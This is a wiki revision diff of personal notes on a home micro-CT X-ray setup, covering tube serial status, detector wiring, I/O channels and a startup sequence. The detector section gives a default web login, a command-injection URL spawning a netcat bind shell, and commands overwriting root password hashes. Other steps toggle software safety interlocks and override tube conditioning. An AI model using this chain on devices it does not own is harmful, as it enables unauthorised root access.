User Tools

Site Tools


macroct

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
macroct [2024/06/26 20:57] – [PSX10-WB-130 Microfocus Source] konstantinmacroct [2025/02/15 18:58] (current) konstantin
Line 11: Line 11:
   * 0.51mm Beryllium window   * 0.51mm Beryllium window
  
-On /dev/ttyS3 with 3840bps 8N1+! Hello ROM 038 RAM 185 PS PXS10-WB S/N 12815 Tube KM132 S/N 42039 DCM E S/N 00638 
 +! TIMESTATS NonOpSecsRemain 0 TotalHours 42639.8 TotalHoursXRAYon 35298.0 
 +! STATUS Off HV .11 080.0 Beam 00.5 0070 Unsafe Infocus Spot 008 
 +! Diag2 Anodeleak 17.6 
 + 
 +Serial Interface on /dev/ttyS3 with 3840bps 8N1
 ====== Detectors ====== ====== Detectors ======
  
Line 39: Line 44:
 ==== paxScan ==== ==== paxScan ====
  
-===== I/O =====+The USB connector is actually Ethernet. 
 +d+/d- and gnd/ID are the ethernet lines. 
 +If you hook up to that, you can see a autoconf IP address. 
 +Access the webinterface and login with admin:password. 
 +This URL allows you a bind shell: http://169.254.197.171/cgi-bin/vsp-command-post.cgi?command=`{nc,-l,-p,2222,-e,/bin/sh}`
  
 +Run this:
 +mount -o remount,rw /home
 +echo "export VP_SSHD=1" >> /home/vsp/settings.sh ## this enables SSH server
 +echo "sed -i 's/N1kSQCwwpFzSs/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the root password to password
 +echo "sed -i 's/xxx_passwd_of_user_vsp_xxx/zjB8fX524dmlk/g' /etc/passwd" >> /home/vsp/settings.sh  ## this sets the vsp password to password
 +sync
 +mount -o remount,ro /home
 +
 +This allows you to login as vsp with password password and then becoming root with "su".
 +
 +ssh:  vsp:password
 +su:  root:password
 +
 +IP: 192.168.179.200
 +===== I/O =====
 +on /dev/ttyACM0
 ==== PWM ==== ==== PWM ====
 Channels Channels
Line 47: Line 72:
   * 2: Alignment Laser Horizontal   * 2: Alignment Laser Horizontal
   * 3: (unused)   * 3: (unused)
-  * 4: Case Fan 1 +  * 4: Case Fan 1 (in) 
-  * 5-15: (unused)+  * 5: Case Fan 2 (out) 
 +  * 6-15: (unused)
  
 ==== Outputs ==== ==== Outputs ====
Line 66: Line 92:
   * 12: Software Power Interlock   * 12: Software Power Interlock
   * 13: Software Chamber Interlock   * 13: Software Chamber Interlock
-  * 14: 15V Detector Supply+  * 14: 15V Detector Supply (PaxScan)
   * 15: 24V Detector Supply   * 15: 24V Detector Supply
  
Line 120: Line 146:
 $133=400.000 $133=400.000
 </code> </code>
 +
 +==== Startup Sequence ====
 +
 +Connect to /dev/ttyACM0
 +
 +Enable Debug Mode
 + /dev/ttyACM0 : debug 1
 +
 +Enable Sensor Supply
 + /dev/ttyACM0 : output 14 1
 +
 +Enable Tube Supply
 + /dev/ttyACM0 : output 8 1
 +
 +Connect to /dev/ttyS3
 +
 +Check Tube Status
 + /dev/ttyS3 : status
 +
 +Check Beam Voltage HV
 + /dev/ttyS3 : hv setting
 +
 +Check Beam Current
 + /dev/ttyS3 : beam setting
 +
 +Set Software Chamber Interlock
 + /dev/ttyACM0 : output 13 1
 +
 +Set Software Power Interlock
 + /dev/ttyACM0 : output 12 1
 +
 +Turn Key-Switch to ON
 +
 +Release Emergency Stop
 +
 +Release Software E-Stop
 + /dev/ttyACM0 : output 10 1
 +
 +Pulse Software Safety Start
 + /dev/ttyACM0 : output 11 1
 + /dev/ttyACM0 : output 11 0
 +
 +Check Tube Status (should be "Safe Infocus", else wait for warmup to finish)
 + /dev/ttyS3 : status
 +
 +Override Tube Conditioning
 + /dev/ttyS3 : program 10
 +
 +Start Sensor Capture
 + cd ~/Code/PaxScan_CP2-Lite_ACQ
 + python3 test.py
 +
 +Enable XRAYs
 + /dev/ttyS3 : xray on
 +
 +Check Tube Status to see when current has ramped up
 + /dev/ttyS3 : status
 + /dev/ttyS3 : status
 + ...
 +
 +Trigger Sensor Exposure
 +
 +Disable XRAYs
 + /dev/ttyS3 : xray off
 +
 +Turn off Key-Switch
 +
 +Turn off safety
 + /dev/ttyACM0 : output 11 0
 + /dev/ttyACM0 : output 12 0
 + /dev/ttyACM0 : output 13 0
 +
 +Turn off Tube supply
 + /dev/ttyACM0 : output 8 0
 +
 +Turn off Sensor supply
 + /dev/ttyACM0 : output 14 0
 +
 +Disconnect Serial ports
 +
 +Shutdown PC
macroct.1719428230.txt.gz · Last modified: by konstantin